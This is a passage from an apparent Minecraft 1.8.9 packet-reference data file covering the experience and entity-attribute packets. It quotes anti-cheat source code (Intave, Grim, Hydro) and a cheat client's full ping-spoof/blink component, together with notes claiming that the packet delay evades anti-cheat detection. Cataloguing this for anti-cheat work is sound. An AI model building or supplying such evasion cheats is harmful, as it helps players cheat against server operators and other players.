}\n\n  public double averageMovementPacketTimestamp() {\n    return averageOf(movementLagSpikeHistory);\n  }\n\n  private double averageOf(List<? extends Number> data) {\n    double sum = 0;\n    for (Number element : data) {\n      sum += element.doubleValue();\n    }\n    if (sum == 0) {\n      return 0;\n    }\n    return sum / data.size();\n  }\n\n  private long transactionSum = 0;\n  private long transactionNum = 0;\n\n  private long shortTransactionSum = 0;\n  private long shortTransactionNum = 0;\n  private long lastShortReset = System.currentTimeMillis();\n\n  public void receivedTransactionAfter(long milliseconds) {\n    long cappedMillis = Math.min(milliseconds, 1000);\n    transactionSum += cappedMillis;\n    transactionNum++;\n    shortTransactionSum += cappedMillis;\n    shortTransactionNum++;\n    if (transactionNum > 4096) {\n      transactionSum /= 2;\n      transactionNum /= 2;\n    }\n    if (System.currentTimeMillis() - lastShortReset > 4000) {\n      shortTransactionSum /= 2;\n      shortTransactionNum /= 2;\n      lastShortReset = System.currentTimeMillis();\n    }\n    feedbackDelays.occurred(Math.min(40, (int) milliseconds / 50));\n    if (IntaveControl.LATENCY_PING_AS_XP_LEVEL && transactionNum % 10 == 0) {\n      sendPacketWithExperience(player, (int) ((int) transactionPingAverage() * 1000 + shortTransactionPingAverage()));\n    }\n  }\n\n  private void sendPacketWithExperience(Player player, int level) {\n    PacketContainer packet = ProtocolLibrary.getProtocolManager().createPacket(PacketType.Play.Server.EXPERIENCE);\n    packet.getFloat().write(0, 0f);\n    packet.getIntegers().write(0, 0);\n    packet.getIntegers().write(1, level);\n    PacketSender.sendServerPacket(player, packet);\n  }\n\n  public long transactionPingAverage() {\n    return transactionNum == 0 ? 0 : transactionSum / transactionNum;\n  }\n\n  public long shortTransactionPingAverage() {\n    return shortTransactionNum == 0 ? 0 : shortTransactionSum / shortTransactionNum;\n  }\n\n//  public void receivedTransactionAfter(long milliseconds) {\n//    if (transactionPings.size() > 1024 * 8) {\n//      transactionPings.remove(0);\n//    }\n//    transactionPings.add(milliseconds);\n//  }\n//\n//  private long transactionPingCache = -1;\n//  private long lastTPCRefresh = 0;\n//\n//  public long transactionPingAverage() {\n//    if (System.currentTimeMillis() - lastTPCRefresh > 5000) {\n//      long sum = 0;\n//      for (Long transactionPing : transactionPings) {\n//        sum += Math.min(transactionPing, 500);\n//      }\n//      lastTPCRefresh = System.currentTimeMillis();\n//      transactionPingCache = sum / transactionPings.size();\n//    }\n//    return transactionPingCache;\n//  }\n\n\n  public FeedbackQueue feedbackQueue() {\n    return feedbackQueue;\n  }\n\n  public Map<Long, Queue<FeedbackRequest<?>>> transactionAppendMap() {\n    return transactionOptionalAppendMap;\n  }\n\n  public Integer globalEntityIdFromLocal(Integer localEntityId) {\n    return localEntityIdsToGlobalIds.getOrDefault(localEntityId, -1);\n  }\n\n  public Integer localEntityIdFromGlobal(Integer globalEntityId) {\n    return globalEntityIdsToLocalIds.getOrDefault(globalEntityId, -1);\n  }\n\n  public Map<Integer, Integer> globalEntityIdsToLocalIds() {\n    return new HashMap<>(globalEntityIdsToLocalIds);\n  }\n\n  public void insertIdTranslations(Map<Integer, Integer> globalToLocal) {\n    int highestLocalId = 0;\n    for (Map.Entry<Integer, Integer> entry : globalToLocal.entrySet()) {\n      globalEntityIdsToLocalIds.put(entry.getKey(), entry.getValue());\n      localEntityIdsToGlobalIds.put(entry.getValue(), entry.getKey());\n      if (entry.getValue() > highestLocalId) {\n        highestLocalId = entry.getValue();\n      }\n    }\n    localEntityIdCounter = highestLocalId + 1;\n  }\n\n  public synchronized Integer newLocalIdFor(int globalEntityId) {\n    int localEntityId = localEntityIdCounter++;\n    int attempt = 0;\n    while (localEntityIdsToGlobalIds.containsKey(localEntityId)) {\n      localEntityId = localEntityIdCounter += 7;\n      if (attempt++ > 50) {\n        localEntityId = localEntityIdCounter += 100;\n      }\n    }\n    globalEntityIdsForRemoval.remove(globalEntityId);\n    localEntityIdsToGlobalIds.put(localEntityId, globalEntityId);\n    globalEntityIdsToLocalIds.put(globalEntityId, localEntityId);\n    return localEntityId;\n  }\n\n  public synchronized void markIdAsDeprecated(int globalEntityId) {\n    globalEntityIdsForRemoval.add(globalEntityId);\n  }\n\n  public synchronized void removeId(int globalEntityId) {\n    if (globalEntityId == -1 || globalEntityId == 0 || player == null || globalEntityId == player.getEntityId()) {\n      return;\n    }\n    if (!globalEntityIdsForRemoval.remove(globalEntityId)) {\n      return;\n    }\n    Integer localEntityId = globalEntityIdsToLocalIds.remove(globalEntityId);\n    if (localEntityId != null) {\n      localEntityIdsToGlobalIds.remove(localEntityId);\n//      localEntityIdCounter = Math.min(localEntityIdCounter, localEntityId);\n    }\n  }\n\n  public void noteMount(int entityId, int vehicleId) {\n    entityVehicles.put(entityId, vehicleId);\n    entityMounts.computeIfAbsent(vehicleId, k -> new HashSet<>()).add(entityId);\n  }\n\n  public void noteDismount(int entityId) {\n    Integer vehicleId = entityVehicles.remove(entityId);\n    if (vehicleId != null) {\n      Set<Integer> mounts = entityMounts.get(vehicleId);\n      if (mounts != null) {\n        mounts.remove(entityId);\n        if (mounts.isEmpty()) {\n          entityMounts.remove(vehicleId);\n        }\n      }\n    }\n  }\n\n  public Integer vehicleOf(int entityId) {\n    return entityVehicles.get(entityId);\n  }\n\n  public List<Integer> sittingOn(int entityId) {\n    return entityMounts.get(entityId) == null ? Collections.emptyList() : new ArrayList<>(entityMounts.get(entityId));\n  }\n\n  @Deprecated\n  public Collection<Entity> entities() {\n    return entitiesById.values();\n  }\n\n  @Nullable\n  public Entity entityBy(int identifier) {\n    return entitiesById.get(identifier);\n  }\n\n  public void enterEntity(Entity entity) {\n    entitiesById.put(entity.entityId(), entity);\n    entityIds.add(entity.entityId());\n//    entities.add(entity);\n//    tickedEntities.add(entity);\n  }\n\n  public Entity markForDeletion(int entityId) {\n    Entity old = entitiesById.put(entityId, Entity.destroyedEntity());\n    entityIds.remove(entityId);\n    // we will not override the entity collection, as it would require a lot of performance and seems quite redundant in the first place\n//    for (int i = 0, entitiesSize = entities.size(); i < entitiesSize; i++) {\n//      EntityShade entity = entities.get(i);\n//      if (entity.entityId() == entityId) {\n//        entities.set(i, EntityShade.destroyedEntity());\n//      }\n//    }\n    // using removeIf requires the least amount of locking and array modifications for CopyOnWriteArrayLists\n//    entities.removeIf(entity -> entity.entityId() == entityId);\n    return old;\n  }\n\n  public void removeEntityIfMarked(int entityId) {\n    if (entitiesById.get(entityId) instanceof Entity.Destroyed) {\n      entitiesById.remove(entityId);\n    }\n  }\n\n  public void queueToNextTransaction(Runnable runnable) {\n    nextFeedbackSubscribers.add(runnable);\n  }\n\n  public DelayQueue<DelayedPacket> delayedPackets() {\n    return delayQueue;\n  }\n\n  public List<Entity> tracedEntities() {\n    return synchronizedEntities;\n  }\n\n  public List<Entity> tickedEntities() {\n    return tickedEntities;\n  }\n\n  public void setTickedEntities(List<Entity> ticked) {\n    this.tickedEntities = ticked;\n  }\n\n  public Map<Long, Long> pingPackets() {\n    return remainingPingPacketTimestamps;\n  }\n\n  public List<Long> latencyDifferenceBalance() {\n    return latencyDifferenceBalance;\n  }\n\n  public Deque<Object> enqueuedPackets() {\n    return bufferEnqueue;\n  }\n\n  public Set<Integer> entityIds() {\n    return entityIds;\n  }\n}\n// NOTE (AI): sendPacketWithExperience (lines 202-208) and the LATENCY_PING_AS_XP_LEVEL branch (lines 197-199) are the S1F-relevant parts; the rest of the file is transaction ping bookkeeping.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/user/meta/ConnectionMetadata.java",
       "variations": "Artemis registers PacketPlayServerExperience as a wrapper interface (repository entry at SERVER_PLAY + 34); Negativity lists EXPERIENCE in its packet-type enum; NCP prints the player's exp in the admin inspect command; the Photon corpus hit is a keyword collision with SPAWN_EXPERIENCE_ORB, which is S11, not S1F."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x1F: float bar progress 0.0-1.0, VarInt level, VarInt total XP.",
    "Pure display sync for HUD bar and level number; server keeps authoritative XP.",
    "Sent on XP change, join and respawn; client never echoes XP back.",
    "MCP 1.8.9 S1FPacketSetExperience implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSetExperience; wire serde is readPacketData/writePacketData via readFloat, readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.onUpdateEntity sends new S1FPacketSetExperience (line 422) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S1FPacketSetExperience/",
   "mcp_path": "net/minecraft/network/play/server/S1FPacketSetExperience.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S20PacketEntityProperties",
   "hex": "0x20",
   "dec": 32,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Entity Properties",
   "desc": "Updates an entity's generic attributes (movement speed, max health, knockback resistance, etc.).",
   "tags": [
    "entity",
    "attributes",
    "speed"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Entity ID"
    },
    {
     "name": "properties",
     "type": "List of Attribute",
     "desc": "Attribute key-value pairs"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Number of Properties",
     "int",
     ""
    ],
    [
     "Per-Property",
     "String + double + VarInt + Modifier[]",
     "Attribute key, base value, modifiers"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleEntityProperties()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Attribute keys: generic.movementSpeed, generic.maxHealth, generic.knockbackResistance, generic.followRange, horse.jumpStrength, zombie.spawnReinforcements, etc. Movement speed can be read to predict horse speeds or detect speed-modified players.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S20PacketEntityProperties is a full attribute snapshot for one entity: entityId VarInt, property count int, then per property a String key, double base value, modifier count, and per modifier a UUID, name, amount and operation byte. The server sends it from EntityTrackerEntry when an entity's attributes change (line 267/311 in the corpus) and to new watchers when they start tracking (line 329/374). This is the only channel by which the client learns other entities' movement speed, knockback resistance, max health and attack damage."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleEntityProperties resolves the entity and throws IllegalStateException if it is not EntityLivingBase ('Server tried to update attributes of a non-living entity'). It then walks the snapshot list: unknown attribute keys are registered on the fly as RangedAttribute with the full double range, setBaseValue is applied, all modifiers are removed and re-added from the wire. EntityLivingBase reads these attributes for its own speed, health and knockback math, so the packet directly drives client-side entity physics."
     },
     {
      "h": "Why clients touch it",
      "p": "Rise 6.1.30 and 6.2.4 PingSpoofComponent include S20PacketEntityProperties in the 'players' class tuple: when a module enables players=true spoofing, incoming S20 packets are cancelled and released late. Rise 6.x NetworkAPI also registers the class (clientbound index 75). Memeware, Nekoware, Sigma, Spicy and Tenacity carry only the vanilla handler; the AntiBot/TargetInfo attribute-reading modules from older docs have no corpus hits in the reference set."
     },
     {
      "h": "Exploit surface",
      "p": "The interesting abuse is buffering, not reading: PingSpoofComponent holds S20 for other entities so their attribute snapshots arrive after their position updates, keeping the client's view of entity speeds consistent with frozen positions during blink windows. Delaying entity-state packets does not touch the player's own server-authoritative motion, so no anti-cheat flags it. A client that reads S20 precisely could predict player speeds for aim/velocity math, but none of the 8 clients does."
     }
    ],
    "overview": "The client's only window into other entities' attributes. Rise 6.x PingSpoofComponent buffers S20 as part of its 'players' spoof category, and NetworkAPI registers it for scripts; the other six clients leave the vanilla handler untouched.",
    "server_handling": "EntityTrackerEntry sends the full attribute map on change (line 267/311) and on watcher start (line 329/374). The packet carries base values plus modifiers, so the client rebuilds the complete attribute state from scratch on every arrival; there is no delta encoding and no inbound handler. Server-side validation is absent by design: the packet is clientbound.",
    "protocol_notes": "The property count is a plain int, not a VarInt, unlike most 1.8.9 counts. Attribute keys are the unlocalized names ('generic.movementSpeed', 'generic.knockbackResistance', 'generic.maxHealth', 'generic.attackDamage', 'horse.jumpStrength', 'zombie.spawnReinforcements'). Modifier operation is a byte (0 add, 1 multiply, 2 multiply-base). The client registers unknown keys as RangedAttribute with near-infinite bounds, so a server can push arbitrary named attributes.",
    "anticheat_landscape": "Entity attribute state is derived server-side, so anti-cheats never validate S20 traffic. The only observable effect of buffering it is delayed visual entity speed, which looks like normal lag. This is why PingSpoofComponent can park S20 for hundreds of milliseconds without risk.",
    "modules": [
     {
      "name": "PingSpoofComponent",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Buffers S20PacketEntityProperties for other entities during a spoof/blink window so attribute snapshots arrive late and stay consistent with frozen entity positions.",
      "how_it_works": "The 'players' Tuple lists S20PacketEntityProperties alongside S13PacketDestroyEntities, S14PacketEntity variants, S18PacketEntityTeleport and S19PacketEntityHeadLook. onPacketReceive cancels any listed class when its category flag is enabled and parks it as a TimedPacket; onPostMotion flushes entries whose time plus the spoof amount has elapsed, and dispatch() releases everything on world change or disable.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.CancellableEvent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Tuple;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class PingSpoofComponent extends Component {\n    public static ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    static StopWatch enabledTimer = new StopWatch();\n    public static boolean enabled;\n    static long amount;\n    static Tuple<Class[], Boolean> regular = new Tuple<>(new Class[]{C0FPacketConfirmTransaction.class, C00PacketKeepAlive.class, S1CPacketEntityMetadata.class}, false);\n    static Tuple<Class[], Boolean> velocity = new Tuple<>(new Class[]{S12PacketEntityVelocity.class, S27PacketExplosion.class}, false);\n    static Tuple<Class[], Boolean> teleports = new Tuple<>(new Class[]{S08PacketPlayerPosLook.class, S39PacketPlayerAbilities.class, S09PacketHeldItemChange.class}, false);\n    static Tuple<Class[], Boolean> players = new Tuple<>(new Class[]{S13PacketDestroyEntities.class, S14PacketEntity.class, S14PacketEntity.S16PacketEntityLook.class, S14PacketEntity.S15PacketEntityRelMove.class, S14PacketEntity.S17PacketEntityLookMove.class, S18PacketEntityTeleport.class, S20PacketEntityProperties.class, S19PacketEntityHeadLook.class}, false);\n    static Tuple<Class[], Boolean> blink = new Tuple<>(new Class[]{C02PacketUseEntity.class, C0DPacketCloseWindow.class, C0EPacketClickWindow.class, C0CPacketInput.class, C0BPacketEntityAction.class, C08PacketPlayerBlockPlacement.class, C07PacketPlayerDigging.class, C09PacketHeldItemChange.class, C13PacketPlayerAbilities.class, C15PacketClientSettings.class, C16PacketClientStatus.class, C17PacketCustomPayload.class, C18PacketSpectate.class, C19PacketResourcePackStatus.class, C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class, C0APacketAnimation.class}, false);\n    static Tuple<Class[], Boolean> movement = new Tuple<>(new Class[]{C03PacketPlayer.class, C03PacketPlayer.C04PacketPlayerPosition.class, C03PacketPlayer.C05PacketPlayerLook.class, C03PacketPlayer.C06PacketPlayerPosLook.class}, false);\n\n    public static Tuple<Class[], Boolean>[] types = new Tuple[]{regular, velocity, teleports, players, blink, movement};\n\n    @EventLink\n    public final Listener<PacketSendEvent> send = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> receive = event -> event.setCancelled(onPacket(event.getPacket(), event).isCancelled());\n\n    public CancellableEvent onPacket(Packet<?> packet, CancellableEvent event) {\n        if (!event.isCancelled() && enabled && Arrays.stream(types).anyMatch(tuple -> tuple.getSecond() && Arrays.stream(tuple.getFirst()).anyMatch(regularpacket -> regularpacket == packet.getClass()))) {\n            event.setCancelled();\n            packets.add(new PacketUtil.TimedPacket(packet));\n        }\n\n        return event;\n    }\n\n    public static void dispatch() {\n        if (!packets.isEmpty()) {\n            // Stops the packets from being called twice\n            boolean enabled = PingSpoofComponent.enabled;\n            PingSpoofComponent.enabled = false;\n            packets.forEach(timedPacket -> PacketUtil.queue(timedPacket.getPacket()));\n            PingSpoofComponent.enabled = enabled;\n            packets.clear();\n        }\n    }\n\n    public static void disable() {\n        enabled = false;\n        enabledTimer.setMillis(enabledTimer.millis - 999999999);\n    }\n\n    @EventLink\n    public final Listener<WorldChangeEvent> onWorldChange = event -> dispatch();\n\n    @EventLink\n    public final Listener<PostMotionEvent> onPostMotion = event -> {\n        if (!(enabled = !enabledTimer.finished(100) && !(mc.currentScreen instanceof GuiDownloadTerrain))) {\n            dispatch();\n        } else {\n            // Stops the packets from being called twice\n            enabled = false;\n\n            packets.forEach(packet -> {\n                if (packet.getTime() + amount < System.currentTimeMillis()) {\n                    PacketUtil.queue(packet.getPacket());\n                    packets.remove(packet);\n                }\n            });\n\n            enabled = true;\n        }\n    };\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players) {\n        spoof(amount, regular, velocity, teleports, players, false);\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink, boolean movement) {\n        enabledTimer.reset();\n\n        PingSpoofComponent.regular.setSecond(regular);\n        PingSpoofComponent.velocity.setSecond(velocity);\n        PingSpoofComponent.teleports.setSecond(teleports);\n        PingSpoofComponent.players.setSecond(players);\n        PingSpoofComponent.blink.setSecond(blink);\n        PingSpoofComponent.movement.setSecond(movement);\n        PingSpoofComponent.amount = amount;\n    }\n\n    public static void spoof(int amount, boolean regular, boolean velocity, boolean teleports, boolean players, boolean blink) {\n        spoof(amount, regular, velocity, teleports, players, blink, false);\n    }\n\n    public static void blink() {\n        spoof(9999999, true, false, false, false, true);\n    }\n}\n// NOTE (AI): S20PacketEntityProperties appears on line 30 inside the 'players'\n// class tuple: when a module calls PingSpoofComponent.spoof(amount, ..., players=true),\n// S20 packets for other entities are cancelled on receive, parked as TimedPacket\n// entries, and flushed from onPostMotion once their delay elapses. The point is\n// to keep attribute snapshots (movement speed, knockback resistance, health)\n// consistent with the frozen entity positions during a blink/spoof window.",
      "code_source": "Rise 6.1.30, com/alan/clients/component/impl/player/PingSpoofComponent.java",
      "vanilla_hook": "PacketReceiveEvent (cancel + park), PostMotionEvent (flush), WorldChangeEvent (dispatch), PacketSendEvent (serverbound park).",
      "anti_cheat_notes": "Low risk: only entity-state packets are delayed, never the player's own movement or transaction stream, so server-side motion checks see nothing unusual. Delayed entity attributes render as slightly stale entity speeds, which reads as latency.",
      "variations": "Rise 6.2.4 carries an identical file under Client-release2/Client/src/main/java. Rise 6.0 (outside the reference set) has the same component; within the reference set only 6.1.30 and 6.2.4 count."
     }
    ],
    "general_hooks": "Rise 6.x component system: @EventLink listeners on PacketReceiveEvent, PacketSendEvent, PostMotionEvent and WorldChangeEvent. Modules request spoofing via PingSpoofComponent.spoof(amount, ...) and blink().",
    "client_variations": "Rise 6.1.30 and 6.2.4 are the only reference clients with non-vanilla S20 code, both through the component plus NetworkAPI registration. Classic clients (Memeware, Nekoware, Sigma, Spicy, Tenacity) ship the stock handler.",
    "related": [
     "S14PacketEntity",
     "S18PacketEntityTeleport",
     "S1CPacketEntityMetadata"
    ],
    "anticheat": {
     "overview": "The attribute snapshot packet is the server's only channel for entity attribute state, and anticheats treat it as authoritative input for movement simulation. Trackers capture the movement-speed attribute and its modifiers (Hydro, AntiHaxerman, intave), Grim clamps attribute values to the wiki-defined client bounds and excludes the sprinting modifier from the base value, TruthfulAC records attribute snapshots from the Bukkit API that mirrors the S20 state, and Photon rewrites the max-health attribute. Knockback resistance is present in the packet but no check in the corpus consumes it.",
     "checks": [
      {
       "name": "ValuedAttribute (attribute range validation)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Model one server-sent attribute with wiki-defined min/max bounds and recompute its value from the S20 property, so the simulation never trusts an out-of-range base or modifier sum.",
       "how_it_works": "with() recomputes the value as (base + addition sum) x (1 + multiply-base sum) x product of (1 + multiply-total) and clamps to [min, max]; the sprinting modifier is removed first because Grim tracks sprint separately in CompensatedEntities. requiredVersion gates value changes behind a client version, and setRewriter/getRewriter adapt the value per client and server version. The constructor rejects defaults outside the range.",
       "detects": "Attribute abuse where the server sends values the client would clamp, and version-dependent attribute quirks that would otherwise desync the simulation.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/data/attribute/ValuedAttribute.java =====\npackage ac.grim.grimac.utils.data.attribute;\n\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.math.GrimMath;\nimport com.github.retrooper.packetevents.protocol.attribute.Attribute;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\n\nimport java.util.List;\nimport java.util.Optional;\nimport java.util.function.DoubleBinaryOperator;\nimport java.util.function.DoubleUnaryOperator;\n\nimport static ac.grim.grimac.utils.latency.CompensatedEntities.SPRINTING_MODIFIER_UUID;\n\npublic final class ValuedAttribute {\n\n    private static final DoubleUnaryOperator DEFAULT_GET_REWRITE = DoubleUnaryOperator.identity();\n\n    private final Attribute attribute;\n    // Attribute limits defined by https://minecraft.wiki/w/Attribute\n    // These seem to be clamped on the client, but not the server\n    private final double min, max;\n    private final double defaultValue;\n    private WrapperPlayServerUpdateAttributes.Property lastProperty;\n    private double value;\n\n    // This allows us to rewrite the value based on client & server version\n    private DoubleBinaryOperator setRewriter;\n    private DoubleUnaryOperator getRewriter;\n\n    private ValuedAttribute(Attribute attribute, double defaultValue, double min, double max) {\n        if (defaultValue < min || defaultValue > max) {\n            throw new IllegalArgumentException(\"Default value must be between min and max!\");\n        }\n\n        this.attribute = attribute;\n        this.defaultValue = defaultValue;\n        this.value = defaultValue;\n        this.min = min;\n        this.max = max;\n        this.getRewriter = DEFAULT_GET_REWRITE;\n    }\n\n    public static ValuedAttribute ranged(Attribute attribute, double defaultValue, double min,\n                                         double max) {\n        return new ValuedAttribute(attribute, defaultValue, min, max);\n    }\n\n    public ValuedAttribute withSetRewriter(DoubleBinaryOperator rewriteFunction) {\n        this.setRewriter = rewriteFunction;\n        return this;\n    }\n\n    /**\n     * Creates a rewriter that prevents the value from ever being modified unless the player meets the required version.\n     * @param player the player\n     * @param requiredVersion the required version for the attribute\n     * @return this instance for chaining\n     */\n    public ValuedAttribute requiredVersion(GrimPlayer player, ClientVersion requiredVersion) {\n        withSetRewriter((oldValue, newValue) -> {\n            if (player.getClientVersion().isOlderThan(requiredVersion)) {\n                return oldValue;\n            }\n            return newValue;\n        });\n        return this;\n    }\n\n    public ValuedAttribute withGetRewriter(DoubleUnaryOperator getRewriteFunction) {\n        this.getRewriter = getRewriteFunction;\n        return this;\n    }\n\n    public Attribute attribute() {\n        return attribute;\n    }\n\n    public void reset() {\n        this.value = defaultValue;\n        this.lastProperty =\n                null; // Remove the old property with its modifiers so we don't accidentally use it again, messing up the calculation.\n    }\n\n    public double get() {\n        return getRewriter.applyAsDouble(this.value);\n    }\n\n    public void override(double value) {\n        this.value = value;\n    }\n\n    @Deprecated // Avoid using this, it only exists for special cases\n    public Optional<WrapperPlayServerUpdateAttributes.Property> property() {\n        return Optional.ofNullable(lastProperty);\n    }\n\n    public void recalculate() {\n        with(lastProperty);\n    }\n\n    public double with(WrapperPlayServerUpdateAttributes.Property property) {\n        double baseValue = property.getValue();\n        double additionSum = 0;\n        double multiplyBaseSum = 0;\n        double multiplyTotalProduct = 1.0;\n\n        List<WrapperPlayServerUpdateAttributes.PropertyModifier> modifiers =\n                property.getModifiers();\n        modifiers.removeIf(modifier -> modifier.getUUID().equals(SPRINTING_MODIFIER_UUID) ||\n                modifier.getName().getKey().equals(\"sprinting\"));\n\n        for (WrapperPlayServerUpdateAttributes.PropertyModifier modifier : modifiers) {\n            switch (modifier.getOperation()) {\n                case ADDITION:\n                    additionSum += modifier.getAmount();\n                    break;\n                case MULTIPLY_BASE:\n                    multiplyBaseSum += modifier.getAmount();\n                    break;\n                case MULTIPLY_TOTAL:\n                    multiplyTotalProduct *= (1.0 + modifier.getAmount());\n                    break;\n            }\n        }\n\n        double newValue = GrimMath.clamp((baseValue + additionSum) * (1 + multiplyBaseSum) * multiplyTotalProduct, min, max);\n        if (setRewriter != null) {\n            newValue = setRewriter.applyAsDouble(this.value, newValue);\n        }\n\n        if (newValue < min || newValue > max) {\n            throw new IllegalArgumentException(\"New value must be between min and max!\");\n        }\n\n        this.lastProperty = property;\n        return this.value = newValue;\n    }\n}\n// NOTE (AI): The min/max clamps mirror the client-side clamp the wiki documents; the comment in the source notes the server does not clamp, which is the exact hole this class closes.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/data/attribute/ValuedAttribute.java",
       "variations": "CompensatedEntities.updateAttributes feeds the same property list into per-entity attribute maps, watching specifically for the movement-speed sprint modifier and horse jump strength; PlayerBaseTick consumes the resulting movement speed and scale during simulation."
      },
      {
       "name": "AttributeTracker (movement speed tracking)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Capture the player's walk speed from the S20 update, combine it with speed and slowness potion effects, and expose the effective move speed the simulation checks use.",
       "how_it_works": "handleAttributeUpdate matches generic.movementSpeed in the property list and stores the base value inside the transaction-confirm window. Entity-effect packets feed speed, slowness and jump boost levels, and getMoveSpeed(sprint) composes walk speed with the 0.3 sprint modifier and 0.2/-0.15 potion modifiers.",
       "detects": "Speed-state desync between the server's attributes and the movement the player reports; feeds speed and flight simulation.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/AttributeTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.server.*;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.util.lag.ConfirmedAbilities;\nimport lombok.Getter;\n\n\n@Getter\npublic class AttributeTracker extends Tracker {\n\n    private static final double DEFAULT_WALK_SPEED = 0.1;\n    private static final double SPRINT_MODIFIER = 0.3;\n    private static final double SPEED_EFFECT_MODIFIER = 0.2;\n    private static final double SLOWNESS_EFFECT_MODIFIER = -0.15;\n\n    private static final int SPEED_EFFECT_ID = 1;\n    private static final int SLOWNESS_EFFECT_ID = 2;\n    private static final int JUMP_BOOST_EFFECT_ID = 8;\n\n    private double walkSpeed = DEFAULT_WALK_SPEED;\n    private int jumpBoost = 0;\n    private int speedBoost = 0;\n    private int slowness = 0;\n\n    private ConfirmedAbilities abilities = new ConfirmedAbilities();\n    private final ConfirmedAbilities lastAbilities = new ConfirmedAbilities();\n\n    public AttributeTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void registerOutgoingPreHandler(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.PLAYER_ABILITIES) {\n            handlePlayerAbilities(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.UPDATE_ATTRIBUTES) {\n            handleAttributeUpdate(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_EFFECT) {\n            handleEntityEffect(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.REMOVE_ENTITY_EFFECT) {\n            handleRemoveEntityEffect(event);\n        }\n    }\n\n    private void handlePlayerAbilities(PacketSendEvent event) {\n        final WrapperPlayServerPlayerAbilities wrapper = new WrapperPlayServerPlayerAbilities(event);\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            abilities = new ConfirmedAbilities(\n                    wrapper.isInGodMode(),\n                    wrapper.isFlying(),\n                    wrapper.isFlightAllowed(),\n                    wrapper.isInCreativeMode(),\n                    wrapper.getFOVModifier(),\n                    wrapper.getFlySpeed()\n            );\n        });\n    }\n\n    private void handleAttributeUpdate(PacketSendEvent event) {\n        WrapperPlayServerUpdateAttributes updateAttributes = new WrapperPlayServerUpdateAttributes(event);\n\n        for (WrapperPlayServerUpdateAttributes.Property property : updateAttributes.getProperties()) {\n            if (\"generic.movementSpeed\".equals(property.getKey())) {\n                playerData.getTransactionTracker().confirmPre(() -> {\n                    walkSpeed = property.getValue();\n                });\n                break;\n            }\n        }\n    }\n\n    private void handleEntityEffect(PacketSendEvent event) {\n        WrapperPlayServerEntityEffect entityEffect = new WrapperPlayServerEntityEffect(event);\n\n        if (entityEffect.getEntityId() != playerData.getEntityId()) {\n            return;\n        }\n\n        int amplifier = entityEffect.getEffectAmplifier();\n        int effectId = entityEffect.getPotionType().getId(playerData.getClientVersion());\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            applyEffect(effectId, amplifier + 1);\n        });\n    }\n\n    private void handleRemoveEntityEffect(PacketSendEvent event) {\n        WrapperPlayServerRemoveEntityEffect removeEntityEffect = new WrapperPlayServerRemoveEntityEffect(event);\n\n        if (removeEntityEffect.getEntityId() != 